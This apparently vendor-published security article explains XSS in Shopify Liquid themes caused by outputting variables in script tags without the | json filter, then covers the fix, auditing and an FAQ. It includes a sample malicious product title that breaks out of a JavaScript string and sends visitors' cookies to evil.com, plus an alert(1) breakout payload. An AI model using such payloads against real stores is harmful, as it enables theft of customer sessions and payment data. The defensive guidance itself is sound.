Shopify XSS via Liquid — Every Variable in a <script> Tag Needs the | json Filter
This vulnerability is in thousands of Shopify themes: a Liquid variable output directly inside a script tag without the | json filter. A product with a title containing </script><script>alert(1) will execute arbitrary JavaScript in any visitor's browser. This is a Cross-Site Scripting (XSS) vulnerability — one of the most common web security flaws. In Shopify's context, an attacker who can control product titles, descriptions, or metafield values can execute JavaScript that steals customer session tokens, captures payment form data, or silently places orders. The fix is one filter: | json.
How XSS via Liquid works in practice
When you write <script>const title = '{{ product.title }}';</script>, the Liquid engine outputs the product title directly into the JavaScript string. A product with the title: test'; fetch('https://evil.com?cookie='+document.cookie); // would produce: const title = 'test'; fetch('https://evil.com?cookie='+document.cookie); //'; — which executes the fetch, sending the visitor's cookies to the attacker. This attack works on any Shopify store where an attacker can influence a value that gets output in a script context.
Why | json prevents XSS
The | json filter in Shopify Liquid converts any value to a valid JSON representation and properly escapes all characters that could break out of a JavaScript string context. {{ product.title | json }} outputs the title as a JSON string with all quotes escaped, all backslashes escaped, and the output wrapped in double quotes. A title containing </script> becomes "<\/script>" — the forward slash is escaped, preventing the HTML parser from treating it as a script closing tag. This makes the output safe in all JavaScript contexts.
Where to apply | json in your theme
Apply | json to every Liquid variable output inside any <script> block or {% javascript %} tag. This includes: product titles, descriptions, handles, tags, variant options, metafield values, customer data, cart item titles, collection names, and page content. The pattern: const title = {{ product.title | json }}; Note: with | json, you do not need surrounding quotes — the filter adds them. Do NOT write: const title = '{{ product.title | json }}' — the extra quotes break the output.
Auditing your theme for unsafe Liquid in script contexts
Search your theme files for <script followed by {{ on the same or nearby lines. Look for any {{ variable }} pattern inside a <script> block that does not use | json. Pay special attention to: product.title, product.description, collection.title, customer.name, article.title, page.content, and any metafield values. These are the most commonly attacker-controlled values. Theme Check does not currently have a rule specifically for this pattern — manual review or Syphio's security audit catches it.
The fix: before and after
// CODE_COMPARISON
Frequently asked questions
- Is | json sufficient protection or do I need additional escaping?
For JavaScript string contexts (inside script tags), | json provides complete protection. It escapes all characters that could break out of a JavaScript string, including quotes, backslashes, and HTML special characters. For HTML attribute contexts, use | escape instead. For URL contexts, use | url_encode. Never rely on | escape inside a script tag — it is designed for HTML contexts, not JavaScript, and does not escape characters that can break JavaScript string literals.
- What Shopify objects are attacker-controllable and most important to protect?
Any Shopify object whose value can be set by someone other than the store owner: product.title, product.description, product.tags, variant.title, collection.title, article.title, article.content, page.content, customer.first_name, customer.last_name, cart item properties, and any metafield values. Product titles in particular are frequently the attack vector because many apps and import processes can set them.
- Do numbers and IDs also need | json?
Numbers (like product.id, variant.price, product.variants.size) do not need | json because they are already safe — they cannot contain quote characters or other XSS payload characters. Booleans are also safe unfiltered. However, any value that could be a string — including values that look like numbers but could be manipulated — should use | json as a safe default. When in doubt, use | json.
// SCAN_YOUR_CODE
Does your theme have this bug?
Paste your code. Syphio automatically detects and fixes this error and hundreds of others — in seconds.
Validate my Liquid →